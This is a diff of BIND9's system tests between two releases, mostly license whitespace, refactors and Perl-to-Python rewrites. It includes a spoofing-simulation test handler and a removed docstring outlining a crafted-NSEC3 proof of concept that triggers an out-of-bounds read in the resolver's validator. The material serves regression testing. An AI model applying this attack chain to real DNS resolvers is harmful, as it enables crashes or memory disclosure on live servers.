https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -14,7 +14,6 @@ pytestmark = pytest.mark.extra_artifacts( [ "dig.out*", - "ans*/ans.run", "ns1/nil.db", "ns1/*.jnl", "ns3/nil.db", diff -Nru bind9-9.20.29/bin/tests/system/journal/setup.sh bind9-9.20.30/bin/tests/system/journal/setup.sh --- bind9-9.20.29/bin/tests/system/journal/setup.sh 2026-09-11 19:41:01.236324649 +0000 +++ bind9-9.20.30/bin/tests/system/journal/setup.sh 1970-01-01 00:00:00.000000000 +0000 @@ -1,47 +0,0 @@ -#!/bin/sh - -# Copyright (C) Internet Systems Consortium, Inc. ("ISC") -# -# SPDX-License-Identifier: MPL-2.0 -# -# This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this -# file, you can obtain one at https://mozilla.org/MPL/2.0/. -# -# See the COPYRIGHT file distributed with this work for additional -# information regarding copyright ownership. - -. ../conf.sh - -cp ns1/generic.db.in ns1/changed.db -cp ns1/changed.ver1.jnl.saved ns1/changed.db.jnl - -cp ns1/generic.db.in ns1/unchanged.db -cp ns1/unchanged.ver1.jnl.saved ns1/unchanged.db.jnl - -cp ns1/generic.db.in ns1/changed2.db -cp ns1/changed.ver2.jnl.saved ns1/changed2.db.jnl - -cp ns1/generic.db.in ns1/unchanged2.db -cp ns1/unchanged.ver2.jnl.saved ns1/unchanged2.db.jnl - -cp ns1/ixfr.db.in ns1/ixfr.db -cp ns1/ixfr.ver1.jnl.saved ns1/ixfr.db.jnl - -cp ns1/generic.db.in ns1/d1212.db -cp ns1/d1212.jnl.saved ns1/d1212.db.jnl - -cp ns1/generic.db.in ns1/d2121.db -cp ns1/d2121.jnl.saved ns1/d2121.db.jnl - -cp ns1/generic.db.in ns1/maxjournal.db -cp ns1/maxjournal.jnl.saved ns1/maxjournal.db.jnl - -cp ns1/generic.db.in ns1/maxjournal2.db -cp ns1/maxjournal2.jnl.saved ns1/maxjournal2.db.jnl - -cp ns1/managed-keys.bind.in ns1/managed-keys.bind -$PERL ../fromhex.pl ns1/managed-keys.bind.jnl - -cp ns2/managed-keys.bind.in ns2/managed-keys.bind -cp ns2/managed-keys.bind.jnl.in ns2/managed-keys.bind.jnl diff -Nru bind9-9.20.29/bin/tests/system/journal/tests_sh_journal.py bind9-9.20.30/bin/tests/system/journal/tests_sh_journal.py --- bind9-9.20.29/bin/tests/system/journal/tests_sh_journal.py 2026-09-11 19:41:01.236324649 +0000 +++ bind9-9.20.30/bin/tests/system/journal/tests_sh_journal.py 2026-10-12 13:12:08.137894138 +0000 @@ -3,12 +3,16 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. +from pathlib import Path + +import shutil + import pytest pytestmark = pytest.mark.extra_artifacts( @@ -23,6 +27,43 @@ ] ) +# Working copies of the committed fixtures: named modifies the zone files +# and journals, so each zone gets its own copy of the generic zone data +# and of the appropriate pre-cooked journal. +SETUP_COPIES = [ + ("ns1/generic.db.in", "ns1/changed.db"), + ("ns1/changed.ver1.jnl.saved", "ns1/changed.db.jnl"), + ("ns1/generic.db.in", "ns1/unchanged.db"), + ("ns1/unchanged.ver1.jnl.saved", "ns1/unchanged.db.jnl"), + ("ns1/generic.db.in", "ns1/changed2.db"), + ("ns1/changed.ver2.jnl.saved", "ns1/changed2.db.jnl"), + ("ns1/generic.db.in", "ns1/unchanged2.db"), + ("ns1/unchanged.ver2.jnl.saved", "ns1/unchanged2.db.jnl"), + ("ns1/ixfr.db.in", "ns1/ixfr.db"), + ("ns1/ixfr.ver1.jnl.saved", "ns1/ixfr.db.jnl"), + ("ns1/generic.db.in", "ns1/d1212.db"), + ("ns1/d1212.jnl.saved", "ns1/d1212.db.jnl"), + ("ns1/generic.db.in", "ns1/d2121.db"), + ("ns1/d2121.jnl.saved", "ns1/d2121.db.jnl"), + ("ns1/generic.db.in", "ns1/maxjournal.db"), + ("ns1/maxjournal.jnl.saved", "ns1/maxjournal.db.jnl"), + ("ns1/generic.db.in", "ns1/maxjournal2.db"), + ("ns1/maxjournal2.jnl.saved", "ns1/maxjournal2.db.jnl"), + ("ns1/managed-keys.bind.in", "ns1/managed-keys.bind"), + ("ns2/managed-keys.bind.in", "ns2/managed-keys.bind"), + ("ns2/managed-keys.bind.jnl.in", "ns2/managed-keys.bind.jnl"), +] + + +def bootstrap(): + for src, dst in SETUP_COPIES: + shutil.copyfile(src, dst) + + # ns1's managed-keys journal is a hand-crafted old-format specimen, + # committed as a hex dump + hex_dump = Path("ns1/managed-keys.bind.jnl.in").read_text(encoding="utf-8") + Path("ns1/managed-keys.bind.jnl").write_bytes(bytes.fromhex(hex_dump)) + def test_journal(run_tests_sh): run_tests_sh() diff -Nru bind9-9.20.29/bin/tests/system/kasp/tests_kasp.py bind9-9.20.30/bin/tests/system/kasp/tests_kasp.py --- bind9-9.20.29/bin/tests/system/kasp/tests_kasp.py 2026-09-11 19:41:01.240324746 +0000 +++ bind9-9.20.30/bin/tests/system/kasp/tests_kasp.py 2026-10-12 13:12:08.142894245 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/keepalive/tests_keepalive.py bind9-9.20.30/bin/tests/system/keepalive/tests_keepalive.py --- bind9-9.20.29/bin/tests/system/keepalive/tests_keepalive.py 2026-09-11 19:41:01.241324770 +0000 +++ bind9-9.20.30/bin/tests/system/keepalive/tests_keepalive.py 2026-10-12 13:12:08.142894245 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/keyfromlabel/tests_keyfromlabel.py bind9-9.20.30/bin/tests/system/keyfromlabel/tests_keyfromlabel.py --- bind9-9.20.29/bin/tests/system/keyfromlabel/tests_keyfromlabel.py 2026-09-11 19:41:01.241324770 +0000 +++ bind9-9.20.30/bin/tests/system/keyfromlabel/tests_keyfromlabel.py 2026-10-12 13:12:08.142894245 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/ksr/tests_ksr.py bind9-9.20.30/bin/tests/system/ksr/tests_ksr.py --- bind9-9.20.29/bin/tests/system/ksr/tests_ksr.py 2026-09-11 19:41:01.241324770 +0000 +++ bind9-9.20.30/bin/tests/system/ksr/tests_ksr.py 2026-10-12 13:12:08.143894267 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -221,7 +221,13 @@ if retired is None or between(now, published, retired): goal = "omnipresent" pubdelay = published + pubtime - signdelay = active + sign_delay(config) + sigdelay = ( + active + + sign_delay(config) + + config["max-zone-ttl"] + + config["zone-propagation-delay"] + + config["retire-safety"] + ) if between(now, published, pubdelay): state_dnskey = "rumoured" @@ -233,7 +239,7 @@ if key.is_ksk(): state_ds = "hidden" else: - if between(now, active, signdelay): + if between(now, active, sigdelay): state_zrrsig = "rumoured" else: state_zrrsig = "omnipresent" @@ -1441,8 +1447,8 @@ isctest.kasp.check_dnssec_verify(ns1, zone) # - check keys - # named updates the state file asynchronously, so retry the state check - # until the rumoured -> omnipresent transition catches up. + # named writes the key states asynchronously after the SKR import, so + # retry until they appear in the state file. def check_keys_state(): check_keys(zsks, lifetime, FASTCONFIG, with_state=True) return True diff -Nru bind9-9.20.29/bin/tests/system/legacy/tests_sh_legacy.py bind9-9.20.30/bin/tests/system/legacy/tests_sh_legacy.py --- bind9-9.20.29/bin/tests/system/legacy/tests_sh_legacy.py 2026-09-11 19:41:01.245324867 +0000 +++ bind9-9.20.30/bin/tests/system/legacy/tests_sh_legacy.py 2026-10-12 13:12:08.179895036 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/limits/tests_limits.py bind9-9.20.30/bin/tests/system/limits/tests_limits.py --- bind9-9.20.29/bin/tests/system/limits/tests_limits.py 2026-09-11 19:41:01.246324891 +0000 +++ bind9-9.20.30/bin/tests/system/limits/tests_limits.py 2026-10-12 13:12:08.180895058 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/logfileconfig/tests_sh_logfileconfig.py bind9-9.20.30/bin/tests/system/logfileconfig/tests_sh_logfileconfig.py --- bind9-9.20.29/bin/tests/system/logfileconfig/tests_sh_logfileconfig.py 2026-09-11 19:41:01.247324915 +0000 +++ bind9-9.20.30/bin/tests/system/logfileconfig/tests_sh_logfileconfig.py 2026-10-12 13:12:08.182895101 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/masterfile/tests_masterfile.py bind9-9.20.30/bin/tests/system/masterfile/tests_masterfile.py --- bind9-9.20.29/bin/tests/system/masterfile/tests_masterfile.py 2026-09-11 19:41:01.248324938 +0000 +++ bind9-9.20.30/bin/tests/system/masterfile/tests_masterfile.py 2026-10-12 13:12:08.183895122 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -18,7 +18,9 @@ def test_masterfile_include_semantics(): - """Test master file $INCLUDE semantics""" + """ + Test master file $INCLUDE semantics + """ msg_axfr = isctest.query.create("include.", "AXFR") res_axfr = isctest.query.tcp(msg_axfr, "10.53.0.1") axfr_include_semantics = """;ANSWER @@ -39,7 +41,9 @@ def test_masterfile_bind_8_compat_semantics(): - """Test master file BIND 8 TTL and $TTL semantics compatibility""" + """ + Test master file BIND 8 TTL and $TTL semantics compatibility + """ msg_axfr = isctest.query.create("ttl1.", "AXFR") res_axfr = isctest.query.tcp(msg_axfr, "10.53.0.1") axfr_ttl_semantics = """;ANSWER @@ -58,7 +62,9 @@ def test_masterfile_rfc_1035_semantics(): - """Test master file RFC1035 TTL and $TTL semantics""" + """ + Test master file RFC1035 TTL and $TTL semantics + """ msg_axfr = isctest.query.create("ttl2.", "AXFR") res_axfr = isctest.query.tcp(msg_axfr, "10.53.0.1") axfr_ttl_semantics = """;ANSWER @@ -77,7 +83,9 @@ def test_masterfile_missing_master_file(): - """Test nameserver running with a missing master file""" + """ + Test nameserver running with a missing master file + """ msg_soa = isctest.query.create("example.", "SOA") res_soa = isctest.query.tcp(msg_soa, "10.53.0.2") expected_soa_rr = """;ANSWER @@ -88,14 +96,18 @@ def test_masterfile_missing_master_file_servfail(): - """Test nameserver returning SERVFAIL for a missing master file""" + """ + Test nameserver returning SERVFAIL for a missing master file + """ msg_soa = isctest.query.create("missing.", "SOA") res_soa = isctest.query.tcp(msg_soa, "10.53.0.2") isctest.check.servfail(res_soa) def test_masterfile_owner_inheritance(): - """Test owner inheritance after $INCLUDE""" + """ + Test owner inheritance after $INCLUDE + """ cmd = isctest.run.cmd( [ os.environ["CHECKZONE"], diff -Nru bind9-9.20.29/bin/tests/system/masterformat/tests.sh bind9-9.20.30/bin/tests/system/masterformat/tests.sh --- bind9-9.20.29/bin/tests/system/masterformat/tests.sh 2026-09-11 19:41:01.250324986 +0000 +++ bind9-9.20.30/bin/tests/system/masterformat/tests.sh 2026-10-12 13:12:08.184895143 +0000 @@ -20,11 +20,10 @@ n=1 israw() { - # shellcheck disable=SC2016 - $PERL -e 'binmode STDIN; - read(STDIN, $input, 8); - ($style, $version) = unpack("NN", $input); - exit 1 if ($style != 2 || $version > 1);' <"$1" || return $? + case "$($PYTHON -m isctest.tools.rawzone version "$1")" in + 0 | 1) return 0 ;; + *) return 1 ;; + esac } isfull() { @@ -37,39 +36,11 @@ } rawversion() { - # shellcheck disable=SC2016 - $PERL -e 'binmode STDIN; - read(STDIN, $input, 8); - if (length($input) < 8) { print "not raw\n"; exit 0; }; - ($style, $version) = unpack("NN", $input); - print ($style == 2 || $style == 3 ? "$version\n" : - "not raw\n");' <"$1" + $PYTHON -m isctest.tools.rawzone version "$1" } sourceserial() { - # shellcheck disable=SC2016 - $PERL -e 'binmode STDIN; - read(STDIN, $input, 20); - if (length($input) < 20) { print "UNSET\n"; exit; }; - ($format, $version, $dumptime, $flags, $sourceserial) = - unpack("NNNNN", $input); - if ($format != 2 || $version < 1) { print "UNSET\n"; exit; }; - if ($flags & 02) { - print $sourceserial . "\n"; - } else { - print "UNSET\n"; - }' <"$1" -} - -stomp() { - # shellcheck disable=SC2016 - $PERL -e 'open(my $file, "+<", $ARGV[0]); - binmode $file; - seek($file, $ARGV[1], 0); - for (my $i = 0; $i < $ARGV[2]; $i++) { - print $file pack("C", $ARGV[3]); - } - close($file);' "$@" + $PYTHON -m isctest.tools.rawzone sourceserial "$1" } restart() { diff -Nru bind9-9.20.29/bin/tests/system/masterformat/tests_sh_masterformat.py bind9-9.20.30/bin/tests/system/masterformat/tests_sh_masterformat.py --- bind9-9.20.29/bin/tests/system/masterformat/tests_sh_masterformat.py 2026-09-11 19:41:01.250324986 +0000 +++ bind9-9.20.30/bin/tests/system/masterformat/tests_sh_masterformat.py 2026-10-12 13:12:08.184895143 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/metadata/tests_sh_metadata.py bind9-9.20.30/bin/tests/system/metadata/tests_sh_metadata.py --- bind9-9.20.29/bin/tests/system/metadata/tests_sh_metadata.py 2026-09-11 19:41:01.251325010 +0000 +++ bind9-9.20.30/bin/tests/system/metadata/tests_sh_metadata.py 2026-10-12 13:12:08.185895165 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/migrate2kasp/tests_migrate2kasp.py bind9-9.20.30/bin/tests/system/migrate2kasp/tests_migrate2kasp.py --- bind9-9.20.29/bin/tests/system/migrate2kasp/tests_migrate2kasp.py 2026-09-11 19:41:01.251325010 +0000 +++ bind9-9.20.30/bin/tests/system/migrate2kasp/tests_migrate2kasp.py 2026-10-12 13:12:08.186895186 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/mirror/tests_sh_mirror.py bind9-9.20.30/bin/tests/system/mirror/tests_sh_mirror.py --- bind9-9.20.29/bin/tests/system/mirror/tests_sh_mirror.py 2026-09-11 19:41:01.253325058 +0000 +++ bind9-9.20.30/bin/tests/system/mirror/tests_sh_mirror.py 2026-10-12 13:12:08.187895208 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/mirror_root_zone/tests_mirror_root_zone.py bind9-9.20.30/bin/tests/system/mirror_root_zone/tests_mirror_root_zone.py --- bind9-9.20.29/bin/tests/system/mirror_root_zone/tests_mirror_root_zone.py 2026-09-11 19:41:01.253325058 +0000 +++ bind9-9.20.30/bin/tests/system/mirror_root_zone/tests_mirror_root_zone.py 2026-10-12 13:12:08.187895208 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/mismatchtcp/ans2/ans.py bind9-9.20.30/bin/tests/system/mismatchtcp/ans2/ans.py --- bind9-9.20.29/bin/tests/system/mismatchtcp/ans2/ans.py 2026-09-11 19:41:01.253325058 +0000 +++ bind9-9.20.30/bin/tests/system/mismatchtcp/ans2/ans.py 2026-10-12 13:12:08.187895208 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -16,14 +16,14 @@ from isctest.asyncserver import ( AsyncDnsServer, DnsProtocol, - DnsResponseSend, - QnameQtypeHandler, QueryContext, - ResponseAction, + ResponseHandler, ) +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.matchers import Protocol, Qname, Qtype -class MismatchedIdOnUdpHandler(QnameQtypeHandler): +class MismatchedIdOnUdpHandler(ResponseHandler): """ Simulate Kaminsky-style off-path spoofing: answer every UDP query for trigger.example./A with the correct response prepared from zone data, @@ -33,15 +33,13 @@ the correct answer. """ - qnames = ["trigger.example."] - qtypes = [dns.rdatatype.A] - - def match(self, qctx: QueryContext) -> bool: - return qctx.protocol == DnsProtocol.UDP and super().match(qctx) + matcher = ( + Qname("trigger.example.") & Qtype(dns.rdatatype.A) & Protocol(DnsProtocol.UDP) + ) async def get_responses( self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: + ) -> AsyncGenerator[DnsResponseSend, None]: qctx.response.id = qctx.query.id ^ 0xFFFF yield DnsResponseSend(qctx.response) diff -Nru bind9-9.20.29/bin/tests/system/mismatchtcp/ans2/example.db bind9-9.20.30/bin/tests/system/mismatchtcp/ans2/example.db --- bind9-9.20.29/bin/tests/system/mismatchtcp/ans2/example.db 2026-09-11 19:41:01.253325058 +0000 +++ bind9-9.20.30/bin/tests/system/mismatchtcp/ans2/example.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,16 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -$TTL 300 -example. SOA ns.example. . 0 0 0 0 0 -example. NS ns.example. -ns.example. A 10.53.0.2 -trigger.example. A 192.0.2.42 diff -Nru bind9-9.20.29/bin/tests/system/mismatchtcp/ans2/zones/example.db bind9-9.20.30/bin/tests/system/mismatchtcp/ans2/zones/example.db --- bind9-9.20.29/bin/tests/system/mismatchtcp/ans2/zones/example.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/mismatchtcp/ans2/zones/example.db 2026-10-12 13:12:08.188895229 +0000 @@ -0,0 +1,16 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 300 +example. SOA ns.example. . 0 0 0 0 0 +example. NS ns.example. +ns.example. A 10.53.0.2 +trigger.example. A 192.0.2.42 diff -Nru bind9-9.20.29/bin/tests/system/mismatchtcp/tests_mismatchtcp.py bind9-9.20.30/bin/tests/system/mismatchtcp/tests_mismatchtcp.py --- bind9-9.20.29/bin/tests/system/mismatchtcp/tests_mismatchtcp.py 2026-09-11 19:41:01.254325082 +0000 +++ bind9-9.20.30/bin/tests/system/mismatchtcp/tests_mismatchtcp.py 2026-10-12 13:12:08.188895229 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -29,7 +29,6 @@ pytestmark = pytest.mark.extra_artifacts( [ - "ans*/ans.run", "ns*/named.stats*", ] ) diff -Nru bind9-9.20.29/bin/tests/system/mkeys/tests.sh bind9-9.20.30/bin/tests/system/mkeys/tests.sh --- bind9-9.20.29/bin/tests/system/mkeys/tests.sh 2026-09-11 19:41:01.256325130 +0000 +++ bind9-9.20.30/bin/tests/system/mkeys/tests.sh 2026-10-12 13:12:08.190895272 +0000 @@ -734,7 +734,7 @@ # convert the hexadecimal key from the TAT query into decimal and # compare against the known key. tathex=$(grep "query '_ta-[0-9a-f][0-9a-f]*/NULL/IN' approved" ns1/named.run | awk '{print $6; exit 0}' | sed -e 's/(_ta-\([0-9a-f][0-9a-f]*\)):/\1/') || true -tatkey=$($PERL -e 'printf("%d\n", hex(@ARGV[0]));' "$tathex") +tatkey=$($PYTHON -c 'import sys; print(int("0" + sys.argv[1], 16))' "$tathex") realkey=$(rndccmd 10.53.0.2 secroots - | sed -n "s#.*${DEFAULT_ALGORITHM}/\([0-9][0-9]*\) ; .*managed.*#\1#p") [ "$tatkey" -eq "$realkey" ] || ret=1 if [ $ret != 0 ]; then echo_i "failed"; fi @@ -879,7 +879,7 @@ count=$(grep -c "trust" rndc.out.$n) || true [ "$count" -eq 2 ] || ret=1 # log when an unsupported algorithm is encountered during rollover -wait_for_log 20 "Cannot compute tag for key in zone .: algorithm is unsupported" ns6/named.run || ret=1 +wait_for_log 20 "Managed keys for '.' skipping unsupported algorithm 255" ns6/named.run || ret=1 if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) diff -Nru bind9-9.20.29/bin/tests/system/mkeys/tests_sh_mkeys.py bind9-9.20.30/bin/tests/system/mkeys/tests_sh_mkeys.py --- bind9-9.20.29/bin/tests/system/mkeys/tests_sh_mkeys.py 2026-09-11 19:41:01.256325130 +0000 +++ bind9-9.20.30/bin/tests/system/mkeys/tests_sh_mkeys.py 2026-10-12 13:12:08.190895272 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/multisigner/tests_multisigner.py bind9-9.20.30/bin/tests/system/multisigner/tests_multisigner.py --- bind9-9.20.29/bin/tests/system/multisigner/tests_multisigner.py 2026-09-11 19:41:01.257325154 +0000 +++ bind9-9.20.30/bin/tests/system/multisigner/tests_multisigner.py 2026-10-12 13:12:08.192895314 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/names/tests_names.py bind9-9.20.30/bin/tests/system/names/tests_names.py --- bind9-9.20.29/bin/tests/system/names/tests_names.py 2026-09-11 19:41:01.258325178 +0000 +++ bind9-9.20.30/bin/tests/system/names/tests_names.py 2026-10-12 13:12:08.192895314 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/notify/tests_sh_notify.py bind9-9.20.30/bin/tests/system/notify/tests_sh_notify.py --- bind9-9.20.29/bin/tests/system/notify/tests_sh_notify.py 2026-09-11 19:41:01.261325250 +0000 +++ bind9-9.20.30/bin/tests/system/notify/tests_sh_notify.py 2026-10-12 13:12:08.196895400 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/nsec/tests_excessive_rrsigs.py bind9-9.20.30/bin/tests/system/nsec/tests_excessive_rrsigs.py --- bind9-9.20.29/bin/tests/system/nsec/tests_excessive_rrsigs.py 2026-09-11 19:41:01.262325274 +0000 +++ bind9-9.20.30/bin/tests/system/nsec/tests_excessive_rrsigs.py 2026-10-12 13:12:08.196895400 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/nsec3/ans7/ans.py bind9-9.20.30/bin/tests/system/nsec3/ans7/ans.py --- bind9-9.20.29/bin/tests/system/nsec3/ans7/ans.py 2026-09-11 19:41:01.262325274 +0000 +++ bind9-9.20.30/bin/tests/system/nsec3/ans7/ans.py 2026-10-12 13:12:08.196895400 +0000 @@ -1,489 +1,273 @@ -#!/usr/bin/env python3 # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -""" -Crafted authoritative DNS proxy for BIND9 NSEC3 OOB read PoC. +from collections.abc import Iterable +from pathlib import Path +from typing import cast -Simulates a malicious authoritative server that crafts NSEC3 responses -to trigger CWE-125 (out-of-bounds stack read) in validator.c:344. - -Attack chain: -1. Resolver queries xxx.evil.test A -> proxy modifies NSEC3 in A response - (breaks the NSEC3 proof, forcing proveunsecure() fallback) -2. Resolver fetches DS for xxx.evil.test -> proxy injects crafted NSEC3 - with next_length=200 (exceeds 155-byte buffer) at position 0 -3. DS validation succeeds via unmodified NSEC3 (opt-out coverage) -4. ncache stores: [crafted_nsec3 (200B next), original_nsec3] -5. isdelegation() iterates ncache -> crafted first -> memcmp() OOB read - -Usage: python3 crafted_auth_v6.py - Listens on [ip]:[port] - Forwards to legitimate auth server on [10.53.0.6]:[port] - -Prerequisites: pip install dnspython cryptography -""" - -import base64 +import functools import glob import os -import signal -import socket -import struct -import sys import time -from 